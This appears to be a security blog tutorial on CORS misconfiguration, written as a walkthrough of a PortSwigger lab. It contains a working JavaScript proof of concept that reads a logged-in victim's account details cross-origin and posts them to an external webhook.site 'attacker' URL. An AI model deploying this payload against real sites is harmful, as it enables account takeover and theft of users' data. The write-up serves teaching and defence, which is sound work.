Account Takeover Through Misconfigured CORS Policy

Waleed Alhajri
11/03/2021


Introduction
This article will describe how to take advantage of a misconfigured CORS policy to compromise user's accounts. But before explaining what CORS is and how to abuse it, let first understand how the browser handles requests and responses and describes multiple essential things.

URL Parts
First, to understand CORS, we need to know what are the components of a URL. Below are the components of the URL
Protocol: In this field, you tell the browser which protocols to use, like:
  • https://example.com
  • http://example.com
  • ftp://example.com

Subdomain: Domain can have multiple subdomains, and each subdomain can point to a different web application, like:
  • https://www.example.com
  • https://eservices.example.com
  • https://api.example.com

Second-level Domain: This is the website domain, like:
  • https://facebook.com
  • https://twitter.com
  • https://instagram.com

Top-level Domain: This part specifies what type of website this is, like:
  • com: Usually for commercial entities
  • edu: For an organization focused on education
  • gov: Purposed for government entities

Port: Usually, this is needed when an uncommon port is in used, like:
  • https://example.com:8080
  • https://example.com:8000
  • http://example.com:1234

Path: Here, you could navigate the webserver public files, like:
  • https://example.com/fonts
  • https://example.com/js
  • https://example.com/articles

Query: This part is optional, and it comes after the question mark "?" which contain the query, and its values, like:
  • https://example.com/fonts?device=desktop
  • https://example.com/fonts?device=mobile
  • https://example.com/articles?id=25

Fragment: This is also optional, and it comes after the hash mark "#" which tell the browsers where to go on a page, like:
  • https://example.com/index.html#top
  • https://example.com/index.html#middle
  • https://example.com/index.html#bottom

How Browsers Protect our Data
Browsers have a built-in security mechanism to prevent websites from attacking each other's called the same-origin policy (SOP). This mechanism prevents websites and scripts from accessing data from another origin. If any of the following is changed, the browser will consider it another origin
  • Protocol
  • Subdomain
  • Second-level domain
  • Top-level domain
  • Port

For example, if we have the below URL and it tries to access resources from another origin
https://example.com
The table below will show SOP in action

What is CORS policy?
Cross-origin resource sharing (CORS) is a browser mechanism that allows sharing of resources between different domains. This feature could be a potential cross-domain-based attack if a website's CORS policy is poorly configured.

Abusing CORS arbitrary origin trusted
CORS's Access-Control-Allow-Origin header is a way for a developer to allow different origins to access their website.

The below header can take three values:
  • Access-Control-Allow-Origin: https://www.example.com
  • Access-Control-Allow-Origin: *
  • Access-Control-Allow-Origin: null

This issue arises when the two following headers are sent together in the response
  • Access-Control-Allow-Origin: *
  • Access-Control-Allow-Credentials: true

But the browser denies combining the two headers as a security precaution, so developers workaround to this problem is by reading the Origin header from the request and include it in the response as the value of the Access-Control-Allow-Origin header. For example, I am requesting http://evil-site.com, and below is the request and response.

Request:
GET / HTTP/1.1
Host: example.com
User-Agent: …
Origin: http://evil-site.com
…
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://evil-site.com
Access-Control-Allow-Credentials: true
…
CORS vulnerability with basic origin reflection challenge
Let try to demonstrate what we know inaction by solving the CORS vulnerability with basic origin reflection from Portswigger academy. First, let go to My Account and log in with the provided password from Portswigger wiener:peter
Identifying the vulnerability
Now, if we view the source of the page, we will see that the account API key is fetched from another page, and the credentials are included. Therefore, we may assume that CORS is used.
If we observe the request and response from the /accountDetails we will get the following.
It looks from the response header inside the red box that CORS is supported, so let try to add the Origin header to the request and give it any value.
Now let exploit this vulnerability by mimicking the behavior of the victim. First, let set up a local webserver so we can serve our exploit on it.
sudo apt install apache2
sudo service apache2 start
sudo service apache2 status
Now, if we browse to http://localhost, we should see the following.
Now, if we upload the below exploit to the web page.
<!DOCTYPE html>
<html>
        <body>
                <h2>CORS PoC</h2>
                <p id='data'></p> <!-- User data will be printed here -->
                <script>     
                        var xhttp = new XMLHttpRequest();
                        xhttp.open("GET", "https://ac8b1fc71f7a77e8805e7bf300a0007c.web-security-academy.net/accountDetails", true); // vulnerable website
                        xhttp.withCredentials = true; // to include cookies, authorization headers 
                        xhttp.send(); // send the request to the vulnerable website                     
                        xhttp.onreadystatechange = function() {
                                if (this.readyState == 4 && this.status == 200) { // if everything is okay do the following
                                        var a = this.responseText;  // Store sensitive data from the victim account to a variable called a
                                        document.getElementById("data").innerHTML = a; // print the value of "a" to the body of the page
                                        xhttp.open("POST", "https://webhook.site/08ac3066-b1ee-45fc-ad24-d70d881fb83c", true);// Attacker's website
                                        xhttp.withCredentials = true; // include the credentials
                                        console.log(a); // print the response into the logs
                                        xhttp.send("data="+a); //sending the data to the attacker website
                                }
                                        };
                </script>
        </body>
        <style>
                h2 {text-align: center;}
                p {text-align: center;}
        </style>
</html>
Now let copy this exploit and put it inside our local webserver
sudo vim  /var/www/html/cors.html
now, if the victim visits our malicious page, we will get the credentials of the victim
Also, on the attacker server, we will be able to collect user's credentials.
Conclusion
This misconfiguration could lead to sensitive data exposure and it may seem obvious but origins specified in the Access-Control-Allow-Origin header should only be sites that are trusted. And dynamically reflecting origins from cross-domain requests without validation is readily exploitable and should be avoided.

Share this blog
Follow us
Advance your skills by reading the latest blog created by our team.
Other Blogs